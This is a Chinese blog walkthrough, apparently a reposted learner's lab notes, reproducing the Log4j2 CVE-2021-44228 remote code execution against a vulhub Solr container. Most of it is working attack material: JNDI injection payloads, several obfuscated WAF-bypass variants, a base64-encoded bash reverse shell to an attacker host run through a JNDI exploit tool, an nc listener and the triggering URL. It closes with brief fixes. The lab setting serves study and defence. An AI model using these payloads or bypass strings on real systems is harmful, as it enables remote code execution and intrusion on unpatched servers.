【vulhub】Log4j2:CVE-2021-44228漏洞复现

本次复现的参考:https://www.freebuf.com/vuls/329984.htmlhttps://cloud.tencent.com/developer/article/1944751、https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA

原理

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

影响版本

Apache Log4j 2.x <= 2.14.1

poc【这暂时都不懂欸,先放着吧】

${
    
    jndi:ldap://xxx.dnslog.cn/poc}

waf绕过

${
    
    ${
    
    ::-j}${
    
    ::-n}${
    
    ::-d}${
    
    ::-i}:${
    
    ::-r}${
    
    ::-m}${
    
    ::-i}://xxx.dnslog.cn/poc}
${
    
    ${
    
    ::-j}ndi:rmi://xxx.dnslog.cn/poc}
${
    
    jndi:rmi://xxx.dnslog.cn/poc}
${
    
    ${
    
    lower:jndi}:${
    
    lower:rmi}://xxx.dnslog.cn/poc}
${
    
    ${
    
    lower:${
    
    lower:jndi}}:${
    
    lower:rmi}://xxx.dnslog.cn/poc}
${
    
    ${
    
    lower:j}${
    
    lower:n}${
    
    lower:d}i:${
    
    lower:rmi}://xxx.dnslog.cn/poc}

RCE利用

靶机------http://192.168.88.128:8080/

靶场环境搭建

靶场:vulhub
在这里插入图片描述
开启靶场:
因为之前我的ubuntu就下载好了vulhub-master,所以可以进入对应的文件夹然后启动,完成本地搭建

ubuntu-gan@ubuntugan-virtual-machine:~$ cd  vulhub-master/log4j/CVE-2021-44228
ubuntu-gan@ubuntugan-virtual-machine:~/vulhub-master/log4j/CVE-2021-44228$  docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
8.11.0: Pulling from vulhub/solr
43c265008fae: Already exists
af36d2c7a48: Already exists
2b7b4d10e1c1: Already exists
f264389d8f2f: Already exists
1a2c46e93f4a: Already exists
f9506bb322c0: Already exists
96f5dad14c2c: Already exists
c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [=>                                                 ] c387eff49cc3: Downloading [=>                                                 ] c387eff49cc3: Downloading [=>                                                 ] c387eff49cc3: Downloading [=>                                                 ] c387eff49cc3: Pull complete
Digest: sha256:84255b20a2d134fc97bbb0fab7cb826087098ee594fcbc94c3a71def24d31003
Status: Downloaded newer image for vulhub/solr:8.11.0
Creating cve-2021-44228_solr_1 ... done

查看端口为8983
在这里插入图片描述

开启成功后访问:http://192.168.88.128:8983/
在这里插入图片描述
再访问:http://192.168.88.128:8983/solr/admin/cores?action=1。【问题:他们是怎么知道要访问这个url的呢?】
在这里插入图片描述
补充解答“他们是怎么知道要访问这个url的呢?”:http://www.ctfiot.com/16640.html#fancybox-14
根据官方文件可以得知 Collections 的调用参数
Log4j2 漏洞探索之一:Apache Solr 远程命令执行
我们可以设想通过可控的 Collections 来进行 JNDI注入,路径为:

/solr/admin/collections?action=xxxxx

漏洞判定

利用dnslog

首先访问http://dnslog.cn/ 获取一个临时域名
在这里插入图片描述

然后利用获取到的临时域名构造payload ,直接访问:http://192.168.88.128:8983/solr/admin/cores?action=${jndi:ldap://olorvf.dnslog.cn}
【这个payload是什么意思呢?】
在这里插入图片描述

访问之后,我们查看dnslog.cn页面,点击Refresh按钮刷新,可以看到有请求访问记录,表明存在log4j2漏洞。【我用不同的浏览器,已及用ubuntu自带的浏览器都访问了的。】
在这里插入图片描述

漏洞利用

kali攻击机:192.168.88.129

JDNI注入工具

下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
在这里插入图片描述
下载对应的jar包。将jar包拷贝到kali虚拟机,或者直接在kali中下载【因为我这边不能从主机拷贝到kali,所以我在kali的火狐浏览器中下载了一个】。
利用JNDI注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。

构造payload:

bash -i > /dev/tcp/192.168.88.129/6969 0>&1

在这里插入图片描述

在kali执行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.88.129

得到了rmi、ldap参数:

┌──(kaligan㉿studygan)-[~/Downloads]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.88.129
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[ADDRESS] >> 192.168.88.129
[COMMAND] >> bash -c  {
    
    echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{
    
    base64,-d}|{
    
    bash,-i}
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.88.129:1099/5ftwug
ldap://192.168.88.129:1389/5ftwug
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.88.129:1099/ggds3d
ldap://192.168.88.129:1389/ggds3d
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.88.129:1099/xrvhnp

----------------------------Server Log----------------------------
2022-09-13 21:53:33 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-09-13 21:53:33 [RMISERVER]  >> Listening on 0.0.0.0:1099
2022-09-13 21:53:34 [LDAPSERVER] >> Listening on 0.0.0.0:1389



监听端口

然后在kali攻击机上开启nc监听6969端口:【为什么要监听6969?能监听别的端口嘛?-----这个我懂了,应该和前面那个bash语句 payload有关,如果前面换一个,那么监听端口就对应起来即可。】

nc -lvnp 6969

在这里插入图片描述

在浏览器访问payload

payload:http://192.168.88.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.88.129:1099/5ftwug}

在这里插入图片描述
然后发现kali这边监听到了,可以执行shell命令了。
在这里插入图片描述

关闭靶场

养成好习惯,用完记得关闭:docker-compose down

ubuntu-gan@ubuntugan-virtual-machine:~/vulhub-master/log4j/CVE-2021-44228$ docker-compose down
Stopping cve-2021-44228_solr_1 ... done
Removing cve-2021-44228_solr_1 ... done
Removing network cve-2021-44228_default

修复

 1. 升级最新版本
 2. 设置jvm参数"-Dlog4j2.formatMsgNoLookups=true"3. 设置系统环境变量"FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS""true"
 4. 关闭应用的网络外连。

猜你喜欢

转载自blog.csdn.net/weixin_49422491/article/details/126841176